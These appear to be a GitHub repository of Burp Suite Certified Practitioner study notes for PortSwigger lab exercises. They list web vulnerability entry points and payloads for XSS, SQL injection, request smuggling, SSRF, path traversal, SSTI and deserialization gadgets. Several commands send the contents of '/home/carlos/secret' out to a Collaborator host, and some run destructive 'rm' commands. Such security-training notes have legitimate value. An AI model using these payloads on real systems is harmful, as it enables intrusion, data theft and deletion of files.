├── Vuln Entry Points.md ├── Exam Prep Labs.md ├── README.md └── BSCP Lab Commands.csv /Vuln Entry Points.md: -------------------------------------------------------------------------------- 1 | # Vuln Entry Points 2 | 3 | ## Stage 1: Gaining access to a user 4 | 5 | ### List of possible vulns and the ‘hooks’ for exploitation: 6 | 7 | - XSS 8 | - search box 9 | - note the different labs this could be, including custom tag and some tags allowed 10 | - storeId parameter into location.search 11 | - ng-app 12 | - searchResults.js file with JSON response and eval() function 13 | - loadCommentsWithVulnerableEscapeHtml.js JavaScript function replace() to encode angle brackets. 14 | - onclick event handler attribute 15 | - JavaScript template string 16 | - CSRF 17 | - Change email function 18 | - Websocket hijacking via live chat 19 | - OAuth flow with no SameSite restrictions 20 | - Clickjacking 21 | - Change email myaccount 22 | - DOM-Based 23 | - addEventListener() that listens for web messages 24 | - event listener that uses JSON.parse() and postMessage() 25 | - client side cookie lastViewedProduct. onload event handler 26 | - location.href 27 | - CORS 28 | - Access-Control-Allow-Credentials 29 | - Access-Control-Allow-Origin 30 | - HTTP Request Smuggling 31 | - Test for request smuggling on home page using HTTP Request Smuggler extension and Active Scan 32 | - Access Control 33 | - roleid 34 | - myaccount 35 | - anything role related 36 | - Authentication 37 | - username enumeration and password brute force 38 | - Stay logged in cookie 39 | - password reset functionality 40 | - Web Cache Poisoning 41 | - /resources/js/tracking.js 42 | - `X-Forwarded-Scheme` 43 | - callback (/js/geolocate.js) 44 | - setCountryCookie 45 | - HTTP Host Header Attacks 46 | - temp-forgot-password-token 47 | - /resources/js/tracking.js 48 | - Collaborator interaction 49 | - OAuth 50 | - anything OAuth related 51 | - Social Media linkage 52 | - JWT 53 | - Anything JWT related 54 | 55 | ## Stage 2: Gaining access to admin 56 | 57 | ### List of possible vulns and the ‘hooks’ for exploitation: 58 | 59 | SQL Injection: 60 | 61 | - Products, Category, Released 62 | - Stock Checker 63 | - TrackingId Cookie 64 | 65 | XSS 66 | 67 | - search box 68 | - note the different labs this could be, including custom tag and some tags allowed 69 | - storeId parameter into location.search 70 | - ng-app 71 | - searchResults.js file with JSON response and eval() function 72 | - loadCommentsWithVulnerableEscapeHtml.js JavaScript function replace() to encode angle brackets. 73 | - onclick event handler attribute 74 | - JavaScript template string 75 | 76 | CSRF 77 | 78 | - Change email function 79 | - Websocket hijacking via live chat 80 | - OAuth flow with no SameSite restrictions 81 | 82 | Clickjacking 83 | 84 | - Change email myaccount 85 | 86 | DOM-Based 87 | 88 | - addEventListener() that listens for web messages 89 | - event listener that uses JSON.parse() and postMessage() 90 | - client side cookie lastViewedProduct. onload event handler 91 | - location.href 92 | 93 | CORS 94 | 95 | - Access-Control-Allow-Credentials 96 | - Access-Control-Allow-Origin 97 | 98 | HTTP Request Smuggling 99 | 100 | - Test for request smuggling on home page using HTTP Request Smuggler extension and Active Scan 101 | 102 | Access Control 103 | 104 | - roleid 105 | - myaccount 106 | - anything role related 107 | 108 | Authentication 109 | 110 | - username enumeration and password brute force 111 | - Stay logged in cookie 112 | - password reset functionality 113 | 114 | Web Cache Poisoning 115 | 116 | - /resources/js/tracking.js 117 | - `X-Forwarded-Scheme` 118 | - callback (/js/geolocate.js) 119 | - setCountryCookie 120 | 121 | HTTP Host Header Attacks 122 | 123 | - temp-forgot-password-token 124 | - /resources/js/tracking.js 125 | - Collaborator interaction 126 | 127 | OAuth 128 | 129 | - anything OAuth related 130 | - Social Media linkage 131 | 132 | JWT 133 | 134 | - Anything JWT related 135 | 136 | ## Stage 3: Data Exfiltration 137 | 138 | ### List of possible vulns and the ‘hooks’ for exploitation: 139 | 140 | SQL Injection: 141 | 142 | - Products, Category, Released 143 | - Stock Checker 144 | - TrackingId Cookie 145 | 146 | XXE 147 | 148 | - stockCheck 149 | 150 | SSRF 151 | 152 | - StockApi 153 | - path parameter 154 | 155 | OS Command Injection 156 | 157 | - productId 158 | - store ID 159 | - email 160 | 161 | SSTI 162 | 163 | - /message?=Out of stock 164 | - my-account/change-blog-post-author-display 165 | 166 | Directory Traversal 167 | 168 | - /image?filename=x.jpg 169 | 170 | Insecure Deserialisation 171 | 172 | - session cookie URL and base64 encoded 173 | - /libs/customTemplate.php 174 | 175 | File Upload Vulns 176 | 177 | - If you’re able to upload files 178 | -------------------------------------------------------------------------------- /Exam Prep Labs.md: -------------------------------------------------------------------------------- 1 | # Exam Prep Labs 2 | 3 | **Exploiting cross-site scripting to steal cookies** 4 | 5 | `` 6 | 7 | or 8 | 9 | ``` 10 | 17 | ``` 18 | 19 | Post these payloads in a comment, then obtain the cookie and replace this to gain admin access. 20 | 21 | **Blind SQL injection with out-of-band data exfiltration** 22 | 23 | Burp Active Scan identifies the TrackingId cookie as being injectible 24 | 25 | Cookie: TrackingId=YhaxNa2jasATgGHz'%7c%7c(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE%20root%20[%20%3c!ENTITY%20%25%20nlmsj%20SYSTEM%20%22http%3a%2f%2f1wy2cf0dycy7ehcocpeua3wi79d31tpxdq0go5.oasti'%7c%7c'[fy.com](http://fy.com/)%2f%22%3e%25nlmsj%3b]%3e')%2c'%2fl')%20from%20dual)%7c%7c' 26 | 27 | '||(select extractvalue(xmltype('%nlmsj;]>'),'/l') from dual)||' 28 | 29 | `TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--` 30 | 31 | **Forced OAuth profile linking** 32 | 33 | Login with social media = OAuth based attack 34 | 35 | When linking a social media account using OAuth, there is a /oauth-linking request that includes a code. Intercept this request, copy the code and drop the request so it’s not used. 36 | 37 | Load the following in the exploit server: 38 | 39 | 40 | 41 | This will force the victim to link their account to your social media profile, as the code is associated to you. 42 | 43 | **Brute-forcing a stay-logged-in cookie** 44 | 45 | stay-logged in option when logging in 46 | 47 | d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw 48 | 49 | wiener:51dc30ddc473d43a6011e9ebba6ca770 50 | 51 | username:MD5 hash of pw 52 | 53 | - Hash: `MD5` 54 | - Add prefix: `carlos:` 55 | - Encode: `Base64-encode` 56 | 57 | Add a grep-match rule to flag responses that have the “update email” option 58 | 59 | Use Simple List Payload Type 60 | 61 | **Exploiting HTTP request smuggling to capture other users' requests** 62 | 63 | POST / HTTP/1.1 64 | Host: [0a0e00c30425ea33c2c935fc0050003c.web-security-academy.net](http://0a0e00c30425ea33c2c935fc0050003c.web-security-academy.net/) 65 | Cookie: session=f53lqUGiuNYoeUkf1Q7n3O2zn6JiXW7n 66 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 67 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 68 | Accept-Language: en-US,en;q=0.5 69 | Accept-Encoding: gzip, deflate 70 | Referer: [https://0a0e00c30425ea33c2c935fc0050003c.web-security-academy.net/](https://0a0e00c30425ea33c2c935fc0050003c.web-security-academy.net/) 71 | Upgrade-Insecure-Requests: 1 72 | Sec-Fetch-Dest: document 73 | Sec-Fetch-Mode: navigate 74 | Sec-Fetch-Site: same-origin 75 | Sec-Fetch-User: ?1 76 | Te: trailers 77 | Connection: keep-alive 78 | Content-Type: application/x-www-form-urlencoded 79 | Content-Length: 274 80 | Transfer-Encoding: chunked 81 | 82 | 0 83 | 84 | POST /post/comment HTTP/1.1 85 | Cookie: session=f53lqUGiuNYoeUkf1Q7n3O2zn6JiXW7n 86 | Content-Type: application/x-www-form-urlencoded 87 | Content-Length: 911 88 | 89 | csrf=ZDq330LAbNseA4tASzvN5i2YGXznGaPG&postId=3&name=Carlos+Montoya&email=carlos%[40normal-user.net](http://40normal-user.net/)&website=&comment=t 90 | 91 | HTTP Request Smuggler can identify that it is a CL.TE vuln, then build the steps so that the comment is left in the blog post. Make sure the content-length of the smuggled request is accurate. 92 | 93 | **SSRF with blacklist-based input filter** 94 | 95 | stockApi=http://127.0.0.1/admin 96 | 97 | returns: 98 | 99 | "External stock check blocked for security reasons” 100 | 101 | stockApi=http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65 102 | 103 | shorten the notation for localhost, double URL encode “admin” 104 | 105 | **SQL injection with filter bypass via XML encoding** 106 | 107 | Use Active Scan on the Stock check, identifies Postgresql injection. 108 | 109 | Convert/obfuscate payload using XML entities.Highlight input and right-click > Extensions > Hackvertor > Encode > dec_entities/hex_entities. 110 | 111 | **Discovering vulnerabilities quickly with targeted scanning** 112 | 113 | Send the stock check request to intruder, add the two insertion points and scan. Identifies XML injection via XInclude, which then allows you to identify the payload from previous labs 114 | 115 | productId=&storeId=1 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Burp-Suite-Certified-Practitioner-Notes 2 | 3 | Techniques for each stages 4 | 5 | ### Objective for Stage 1: Get any user access 6 | 7 | - SQL Injection 8 | - Cross-Site Scripting 9 | - Authentication / Credentials Brute force 10 | - Request Smuggling 11 | - Web Cache Poisoning 12 | 13 | ### Objective for Stage 2: Get Admin access 14 | 15 | - SQL Injection 16 | - Cross-Site Scripting 17 | - Cross Site Request Forgery 18 | - HTTP host header attacks 19 | - Server-Side Request Forgery 20 | - Access Control vulnerabilities 21 | - Authentication / Credentials Brute force 22 | 23 | ### Objective for Stage 3: Read Contents of ‘/home/carlos/secret’ 24 | 25 | - XML External Entities 26 | - SQL Injection 27 | - Command Injection 28 | - Server-Side Template Injection 29 | - Server-Side Request Forgery 30 | - Path Traversal 31 | - File Upload attacks 32 | - Insecure Deserialization 33 | - `host $(cat /home/carlos/secret).BURP_COLLABORATOR_SUBDOMAIN` 34 | - `curl --data @/home/carlos/secret BURP_COLLABORATOR_SUBDOMAIN` 35 | 36 | # Misc Bypass Techniques 37 | 38 | - Incomplete sanitization - if ‘ is replaced with “, you can bypass it with \ 39 | - Null bytes for end of line checks 40 | - Value variation - extremely large, small, negative, decimal 41 | - Double URL encode 42 | - Mix upper and lower case 43 | - Use the same HTTP header twice 44 | - Include the hostname in the request line 45 | - Gather information with /robots.txt, /.git, /backup, and /file_name~ 46 | - Include and inject the Host header 47 | - Use X-Forwarded-For and X-Forwarded-Host 48 | - Try different request methods, including TRACE 49 | - Use double quotes to enclose HTML attributes, as they may be converted during render 50 | - Conversion of ASCII to string 51 | - `%w(51 101 48 103 104 104 103 101 122 57 119 99 121 56 101 56 98 103 97 111).map(&:to_i).map(&:chr).join` 52 | - Redirection to specific path 53 | 54 | # XSS 55 | 56 | [location.search](http://location.search), addEventListener() or document.write, location.href, lastViewedProduct cookie → DOM XSS 57 | 58 | Look for areas where the inputs are being used by JavaScript tags 59 | 60 | Remember that parameters in the body can also be sent as URL parameters, this might allow for modification of the DOM. (e.g. Location parameter in URL). 61 | 62 | `` 63 | 64 | ### POC development 65 | 66 | pay attention to the quotes and encoding 67 | 68 | " > < s > 69 | 70 | XSS payload and encoding tips: 71 | 72 | - 73 | - Injecting code using two "" tags 74 | - • 75 | - Using HTML-encoding, such as '), JavaScript template literals (${123}) 76 | - If "<>" is HTML-encoded, inject attributes using 77 | - " autofocus onfocus=alert(document.domain) x=" 78 | - Injecting a script into an iframe page 79 | - Forcibly redirecting the user by changing the location.href 80 | - If "<>" is being replaced with JavaScript, sandwich them with "<>" 81 | - The correct function to use is "replaceAll" in Burp 82 | - Using SVG: 83 | - Click me 84 | - Stealing cookies: 85 | - `` 86 | - Stealing autocomplete passwords 87 | - `` 122 | 123 | `` 124 | 125 | ``` 126 | ${alert(1)} 127 | 128 | <> 129 | \"-alert(1)}// 130 | 131 | \';alert(1)// 132 | http://xxxxx.com?'-alert(414)-' 133 | #x; 134 | 135 | //dom 136 | ` 299 | 300 | # SSRF 301 | 302 | Look for any parameter that is using a URL or a URL path as an indicator for SSRF. The labs used a stockApi parameter when checking the stock of products at a location. 303 | 304 | - Fuzzing List 305 | - **[https://raw.githubusercontent.com/osamahamad/FUZZING/main/localhost.txt](https://raw.githubusercontent.com/osamahamad/FUZZING/main/localhost.txt)** 306 | - Browse pages with Burp Collabrator server host in Referer header 307 | - Try HTTP Host header attacks techniques 308 | - Whitelist bypass 309 | - **[https://github.com/0x221b/Wordlists/blob/master/Attacks/SSRF/Whitelist-bypass.txt](https://github.com/0x221b/Wordlists/blob/master/Attacks/SSRF/Whitelist-bypass.txt)** 310 | - Can be used if username:password is supported 311 | - Verification involves checking the URL-decoded value 312 | - **[http://evil-host%23@expected-host](http://evil-host%23@expected-host/)** 313 | - Interpreted as **[http://evil-host#@expected-host](http://evil-host/#@expected-host)** in the request and the request is sent to evil-host 314 | - Collaborator Everywhere (Burp Extension) 315 | - Detects pingbacks to Referer and User-Agent during request just by being installed 316 | - Mystery Lab target 317 | - **[http://localhost/admin](http://localhost/admin)** 318 | - 192.168.0.0/24 319 | 320 | # OS Command Injection 321 | 322 | Look for a feedback form and break the email parameter (based on the labs). 323 | 324 | - Interrupting a command using &, ||, ;, etc. 325 | - Check if an error occurs when inserting the above symbols. 326 | - Detect blind injections with "& sleep 10 &" 327 | - Use "& nslookup $(whoami).BURP-COLLAB &" to perform command injection. 328 | 329 | # SSTI 330 | 331 | Look for a a parameter that is rendering directly to the page. Look for templates if you have admin access to edit the templates of a page 332 | 333 | - ERB: `<%= %>` 334 | - Tornado: `""}}{% import os %}{{os.system("rm /home/carlos/morale.txt")` 335 | - Jinja2: Use `{% debug %}` to gather information, targeting `setting.SECRET_KEY` 336 | - See **[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)** for more information 337 | - Login with content-manager:C0nt3ntM4n4g3r. 338 | 339 | # Directory Traversal 340 | 341 | Look for images or files being loaded with a a parameter such as `filename=` 342 | 343 | ``` 344 | ../../../etc/passwd # Simple case 345 | ..%252f..%252f..%252fetc/passwd # Double URL Encoding 346 | ....//....//....//etc/passwd # Stripped non-recursively 347 | ../../../etc/passwd%00.png # Null byte bypass 348 | images/../../../etc/passwd # Validation of start of path 349 | ``` 350 | 351 | - Test with relative and absolute paths 352 | - Use Burp Intruder's Fuzzing List 353 | - If "../" is being removed, try using "//" 354 | - Double URL encoding 355 | - If it just needs to start with a specific string, use "/var/www/images/../../../etc/passwd" 356 | 357 | # Access Control 358 | 359 | X-Original-URL: /admin 360 | 361 | Change request method from POST to GET to test access control 362 | 363 | Referer header based access control (add the /admin path as a referer header when trying to directly perform an admin action) 364 | 365 | - Rewrite query parameters, message body, HTTP method, headers (e.g. Referer), and cookies 366 | - Try unknown methods like POSTX 367 | - Rewrite the Host header. 368 | 369 | # Web Cache Poisoning 370 | 371 | Study up on this in general 372 | 373 | Look for `GET`request for the JavaScript file `/resources/js/tracking.js` (or similar) when requests are made to a home page. 374 | 375 | Look to see if every page imports the script `/js/geolocate.js` (or similar) 376 | 377 | Misc techniques and tips: 378 | 379 | - Check if there are headers that suggest caching of the response 380 | - Use Param Miner to guess all possible parameter values 381 | - If the response is being cached, try entering random values in the query parameter to invalidate the cache 382 | - Identify the cache key using headers like Pragma: x-get-cache-key (for Akamai) or Vary 383 | - Query parameters like utm_content (utm_source, utm_medium) may be excluded from the cache key or included in the response 384 | - There may be differences in the interpretation of query parameters between the cache server and backend server, e.g. if the backend server interprets ";" as a separator 385 | - By sending callback=alert(1) in a request like /js/geolocate.js?callback=setCountryCookie&utm_content=1;callback=alert(1), the cache key becomes setCountryCookie 386 | - If a GET request accepts a body and the body is not the cache key, parameters with the same name as the query parameters can be cached along with the query parameters (i.e. fat GET) 387 | - Normalize the cache key, e.g. treating URL-encoded and non-encoded paths as the same. 388 | 389 | Useful tip for web cache poisoning is to use the `paraminer` burp exension. 390 | 391 | ### Web cache poisoning with an unkeyed cookie: 392 | 393 | `fehost="-alert(document.cookies)-"` 394 | 395 | ### Basic Web cache 396 | 397 | `X-Forwarded-Host` header has been used by the application to generate an Open Graph URL inside a meta tag. 398 | 399 | ### Targeted web cache poisoning using an unknown header 400 | 401 | `Vary: User-Agent` -> "For example, if the attacker knows that the User-Agent header is part of the cache key, by first identifying the user agent of the intended victims, they could tailor the attack so that only users with that user agent are affected." 402 | 403 | `X-Host: exploitserver.net/resources/js/tracking.js` 404 | 405 | Steal other users `User-Agents`: If you have post functionality you can use this payload: 406 | 407 | `` 408 | 409 | and final step is to poison the victims user-agents stoled from img tag 410 | 411 | ### Parameter cloaking 412 | 413 | `GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=alert(1)` 414 | 415 | ### X-Forwarded-Scheme web cache poisoning method 416 | 417 | ![https://user-images.githubusercontent.com/45040001/198842791-c04aa06e-2818-435a-8556-9b0e57c2ca7f.png](https://user-images.githubusercontent.com/45040001/198842791-c04aa06e-2818-435a-8556-9b0e57c2ca7f.png) 418 | 419 | # HTTP Request Smuggling 420 | 421 | Study up on this in general 422 | 423 | Attack exploiting the difference in request interpretation between the front-end server and the back-end server. 424 | 425 | CL.TE 426 | 427 | If both Content-Length and Transfer-Encoding are present 428 | 429 | Front server: prioritize Content-Length. 430 | 431 | Back server: prioritize Transfer-Encoding. 432 | 433 | In this case, it is possible to recognize the end of the first request on the back server and connect it to the second request, allowing execution of an unexpected HTTP method (e.g. GPOST). In the example below, it is possible to pass the HTTP method to the vulnerable back server as GPOST. 434 | 435 | ``` 436 | POST / HTTP/1.1 437 | Host: target.com 438 | Content-Length: 8 439 | Transfer-Encoding: chunked 440 | 441 | 0 442 | 443 | G 444 | 445 | ``` 446 | 447 | TE.CL 448 | 449 | Front server: prioritize Transfer-Encoding. 450 | 451 | Back server: prioritize Content-Length. 452 | 453 | ``` 454 | POST / HTTP/1.1 455 | Content-Type: application/x-www-form-urlencoded 456 | Host: target.com 457 | Content-Length: 4 458 | Transfer-Encoding: chunked 459 | 460 | 5c 461 | GPOST / HTTP/1.1 462 | Content-Type: application/x-www-form-urlencoded 463 | Content-Length: 15 464 | 465 | x=1 466 | 0 467 | 468 | ``` 469 | 470 | - First request (from front to back): 471 | - Interpret only the first chunk and read up to just before the last 0. 472 | - This is where the front server prioritizes the **`Content-Length`** header over **`Transfer-Encoding`**. 473 | - The goal is to have the back server only read up to just before the **`GPOST`** method. 474 | - Second request (from front to back): 475 | - Read the last chunk. 476 | - This is where the front server continues to read the remaining data and sends it to the back server. 477 | - Second request (from back to front): 478 | - Start reading from where the first request left off, just after the **`0`** in the chunk. 479 | - This is where the back server prioritizes the **`Transfer-Encoding`** header over **`Content-Length`**. 480 | - Read from where the **`GPOST`** method begins. 481 | 482 | TE.TE 483 | 484 | Exploit the difference in interpretation between the front-end and back-end using the following obfuscation techniques: 485 | 486 | ``` 487 | # nonexistent value 488 | Transfer-Encoding: xchunked 489 | 490 | # Add space or tab before/after header name/value 491 | [space or tab]Transfer-Encoding[space or tab]:[space or tab]chunked[space or tab] 492 | 493 | # Duplicate header. 494 | Transfer-Encoding: chunked 495 | Transfer-Encoding: x 496 | 497 | # Injecting newlines 498 | Transfer-Encoding 499 | : chunked 500 | 501 | X: X[\n]Transfer-Encoding: chunked 502 | ``` 503 | 504 | If, for example, the front-end server takes the beginning (chunked) and the backend server takes the subsequent (x) for Transfer-Encoding when making the following request, the same principle as [TE.CL](http://te.cl/) type can be used to send the GPOST method to the backend server. 505 | 506 | ``` 507 | POST / HTTP/1.1 508 | Host: 0ac500c40470c397c02e125a007e00d6.web-security-academy.net 509 | Content-Length: 4 510 | Transfer-Encoding: chunked 511 | Transfer-Encoding: x 512 | 513 | 5c 514 | GPOST / HTTP/1.1 515 | Content-Type: application/x-www-form-urlencoded 516 | Content-Length: 15 517 | 518 | x=1 519 | 0 520 | ``` 521 | 522 | CL.0 523 | 524 | When interpreting the end of an HTTP header as the end of a request in an endpoint that does not expect a request body, the following two requests can be sent continuously on a single connection: 525 | 526 | - The first request should have a valid HTTP method and headers, but no body. The **`Connection`** header should be set to **`Keep-Alive`**. 527 | - The second request can have an invalid HTTP method and a body containing the payload for the attack. The **`Content-Length`** header should be set to a non-zero value, and the **`Connection`** header should be set to **`Close`** to indicate the end of the request. 528 | 529 | This attack works because the server may interpret the end of the first request's headers as the end of the entire request, including the payload of the second request, which it will then try to interpret as a new request. This can lead to unexpected behavior, such as executing the payload as a new request, or exposing sensitive information. 530 | 531 | ``` 532 | POST /vulnerable-endpoint HTTP/1.1 533 | Host: vulnerable-website.com 534 | Connection: keep-alive 535 | Content-Type: application/x-www-form-urlencoded 536 | Content-Length: 34 537 | 538 | GET /admin HTTP/1.1 539 | Foo: x 540 | ``` 541 | 542 | ``` 543 | GET /anything HTTP/1.1 544 | Host: vulnerable-website.com 545 | ``` 546 | 547 | As a result, the backend server may receive the following request: 548 | 549 | ``` 550 | GET /admin HTTP/1.1 551 | Foo: xGET /anything HTTP/1.1 552 | Host: vulnerable-website.com 553 | ``` 554 | 555 | H2.TE 556 | 557 | In HTTP/2, there is a mechanism to calculate the size of the body regardless of the Content-Length header. However, if a server still accepts Transfer-Encoding, there may still be differences in the interpretation of these HTTP headers between servers. For example, if the front server does not support Transfer-Encoding, but the backend server prioritizes it, two complete requests can be sent simultaneously using the following method. When the victim accesses it afterward, a 404 error is returned, and when the attacker accesses it next, the response that should have been returned to the victim can be seen. This allows the attacker to pollute the request queue. 558 | 559 | ``` 560 | POST / HTTP/2 561 | Host: target 562 | Transfer-Encoding: chunked 563 | 564 | 0 565 | 566 | GET /xxx HTTP/1.1 567 | Host: target 568 | 569 | ``` 570 | 571 | H2.CL 572 | 573 | If the front-end server downgrades to HTTP/2 and the back-end server adopts Content-Length, the following can be used to return a response from the exploit server: 574 | 575 | ``` 576 | POST / HTTP/2 577 | Host: target 578 | Content-Length: 0 579 | 580 | GET /something HTTP/1.1 581 | Host: target 582 | Content-Length: 5 583 | 584 | x=1 585 | ``` 586 | 587 | HTTP/2 request smuggling via CRLF injection 588 | 589 | • `Foo: bar\r\nTransfer-Encoding: chunked` 590 | 591 | HTTP/2 request splitting via CRLF injection 592 | 593 | • `Foo: bar\r\nGET /admin HTTP/1.1\r\nHost: target` 594 | 595 | Misc: 596 | 597 | - Avoid running scanners or extensions in the background. 598 | - Differences in responses depending on the order of requests cannot be confirmed. 599 | - If there is a conflict between the header of the previous request and the current request, adjust the first request so that the inconvenient part for the second request comes in the body. 600 | 601 | ``` 602 | POST / HTTP/1.1 603 | Host: 0ab2003503431d4fc0f0c440005c0002.web-security-academy.net 604 | Cookie: session=eYLQ3aI12p8Lsr6Tma2qj9xTrJysvxXM 605 | Content-Length: 139 606 | Transfer-Encoding: chunked 607 | 608 | 0 609 | 610 | GET /admin/delete?username=carlos HTTP/1.1 611 | Host: localhost 612 | Content-Type: application/x-www-form-urlencoded 613 | Content-Length: 10 614 | 615 | x= 616 | ``` 617 | 618 | To identify headers added by the front-end server when forwarding a request to a back-end server for a POST endpoint where part of the request is reflected in the response, the following can be done while adjusting the second Content-Length to obtain the desired information. 619 | 620 | ``` 621 | Transfer-Encoding: chunked 622 | Content-Length: 246 623 | 624 | 0 625 | 626 | POST / HTTP/1.1 627 | Host: 0afb00df04e0e634c0659e2400310083.web-security-academy.net 628 | Content-Type: application/x-www-form-urlencoded 629 | Content-Length: 300 630 | 631 | search=POST / HTTP/1.1 632 | Host: 0afb00df04e0e634c0659e2400310083.web-security-academy.net 633 | ``` 634 | 635 | Do not forget to include the sequence "\r\n\r\n" at the end of the request to properly terminate a smuggled request. 636 | 637 | ### Response queue poisoning via H2.TE request smuggling 638 | 639 | `POST / HTTP/2 640 | Host: xxx.net 641 | Transfer-Encoding: chunked 642 | 643 | 0 644 | 645 | SMUGGLED` 646 | 647 | `POST /x HTTP/2 648 | Host: xxx.net 649 | Transfer-Encoding: chunked 650 | 651 | 0 652 | 653 | GET /x HTTP/1.1 654 | Host: xxx.net` 655 | 656 | "Most of the time, you will receive your own 404 response. Any other response code indicates that you have successfully captured a response intended for the admin user. Repeat this process until you capture a 302 response containing the admin's new post-login session cookie." 657 | 658 | `POST /x HTTP/2 659 | Host: xxx.net 660 | Transfer-Encoding: chunked 661 | 662 | 0 663 | 664 | GET /admin HTTP/2 665 | Host: xxx.net 666 | Cookie: session=STOLEN-SESSION-COOKIE` 667 | 668 | ### Request smuggling via CRLF injection 669 | 670 | Add a `foo` header and from `inspector` change the value of `foo` header like below 671 | 672 | `HTTP/2 673 | 674 | foo:bar\r\nTransfer-Encoding: chunked` 675 | 676 | After applying the `Transfer-Encoding` header the request will be `kettled` so you cant see other headers, you can only append content to body like below You request has to look like below 677 | 678 | ![https://user-images.githubusercontent.com/45040001/194731138-30e61723-6f32-4800-863a-cd4fcba39ed7.png](https://user-images.githubusercontent.com/45040001/194731138-30e61723-6f32-4800-863a-cd4fcba39ed7.png) 679 | 680 | `0 681 | 682 | POST /post/comment HTTP/1.1 683 | Host: 0a5e008f045ff87bc06fc9ae00630039.web-security-academy.net 684 | Content-Type: application/x-www-form-urlencoded 685 | Content-Length: 910 686 | Cookie: session=dUB4Rv3FqQDaRnWPsJ7X99fzDVGYLGvy; 687 | 688 | csrf=m6zNlm811zQtwcOUpHr7ShoU6b4IwAHA&postId=3&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=aaa` 689 | 690 | ### Request splitting via CRLF injection 691 | 692 | Add a `foo` header and from `inspector` change the value of foo header like below 693 | 694 | `bar\r\n 695 | Host: 0aab009204d51605c0a31134007c0017.web-security-academy.net\r\n 696 | \r\n 697 | GET /admin HTTP/1.1` 698 | 699 | Send requests repeatedly until you get 302 redirect to /my-account with the session cookie of the administrator 700 | 701 | # Insecure Deserialization 702 | 703 | Look for: 704 | 705 | - Cookies that are encoded and serializing objects 706 | - references to a PHP file like `/libs/CustomTemplate.php` 707 | - If an object-like thing comes out by Base64 decoding the session from URL decoding, there may be an opportunity for privilege escalation. 708 | 709 | PHP: 710 | 711 | The loose equality operator **`==`**considers a string and **`0`**to be equal. 712 | 713 | - [PHPGGC](https://github.com/ambionics/phpggc) 714 | - ex. `docker run --rm phpgc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w 0 | pbcopy` 715 | - [PREPL](https://replit.com/languages/php_cli) 716 | - REPL 717 | - tips 718 | 719 | ``` 720 | $object = "OBJECT_GENERATED_BY_PHPGGC"; 721 | $secretKey = "LEAKED_SECRET_KEY_FROM_PHPINFO"; 722 | $cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}'); 723 | echo $cookie; 724 | ``` 725 | 726 | ``` 727 | Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30= 728 | 729 | Base64 decoded 730 | O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;} 731 | ``` 732 | 733 | As we can see there is a field key called `admin` with one boolean filed value 0 -> False. Changing the boolean value to 1 automatically we are going to be a administrator. 734 | 735 | `O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}` 736 | 737 | modifying PHP serialized data types 738 | 739 | ``` 740 | Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJqaTAxZGZneWRxN2I4amprNHZycXBjdzl3eGZpbXA5ZSI7fQ== 741 | 742 | Base64 decoded 743 | O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ji01dfgydq7b8jjk4vrqpcw9wxfimp9e";} 744 | 745 | O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";b:1;} 746 | ``` 747 | 748 | Java: 749 | 750 | - [ysoserial](https://github.com/frohoff/ysoserial) 751 | - ex1. `java -jar ysoserial-all.jar CommonsCollections4 'ARBITRARY_OS_COMMAND' | base64 -w 0 | pbcopy` 752 | - ex2. `java -jar ysoserial-all.jar CommonsCollections6 'ARBITRARY_OS_COMMAND' | gzip -f | base64 -w 0 | pbcopy` 753 | 754 | ``` 755 | java -jar ysoseriar.jar CommonsCollections7 'curl -d @/home/carlos/secret k3of2usea0s8kzkwsqnme9bj2a83ws.burpcollaborator.net' | gzip|base64 756 | 757 | java -jar ysoseriar.jar 'COMMAND' | encoding 758 | ``` 759 | 760 | - Java Deserialization Scanner Burp Extension → active scan 761 | 762 | Ruby: 763 | 764 | If you URL-decode and then Base64-decode a session, and the first two bytes are **`04 08`**, there is a high probability that it is in Marshal format. 765 | 766 | Marshal 767 | 768 | - ex. `./ruby_gadgets_chain.rb 'rm /home/carlos/morale.txt' | pbcopy` 769 | 770 | ### Information Disclosure 771 | 772 | Go to the "Target" > "Site Map" tab. Right-click on the top-level entry for the lab and select "Engagement tools" > "Find comments". 773 | 774 | “Engagement tools" > "Discover content" 775 | 776 | - TRACE method 777 | - Check for suspicious file traces (such as comments) in the DOM 778 | - Check /robots.txt and /backup 779 | - Check for files with [filename]~, or .git 780 | - Display error messages 781 | - Use Logger++ 782 | - Always go for directory brute force and for .files(hidden files) e.g. .git 783 | 784 | # Host Header Attacks 785 | 786 | Test for modifications to this header, see if it is validated by the server 787 | 788 | Study up on this in general, identify best way to identify this vuln 789 | 790 | - Host header might have been used to send the request 791 | - Bypassing validation 792 | - Including Host in the request line may skip the Host header validation 793 | - Adding two Host headers may skip validation for one of them 794 | - Embedding arbitrary strings in the port number 795 | - Replacing with a subdomain under your control 796 | - Trying SSRF WAF bypass techniques (e.g. 127.1) 797 | - Adding whitespace or tab characters before or after the Host header 798 | - Overwriting 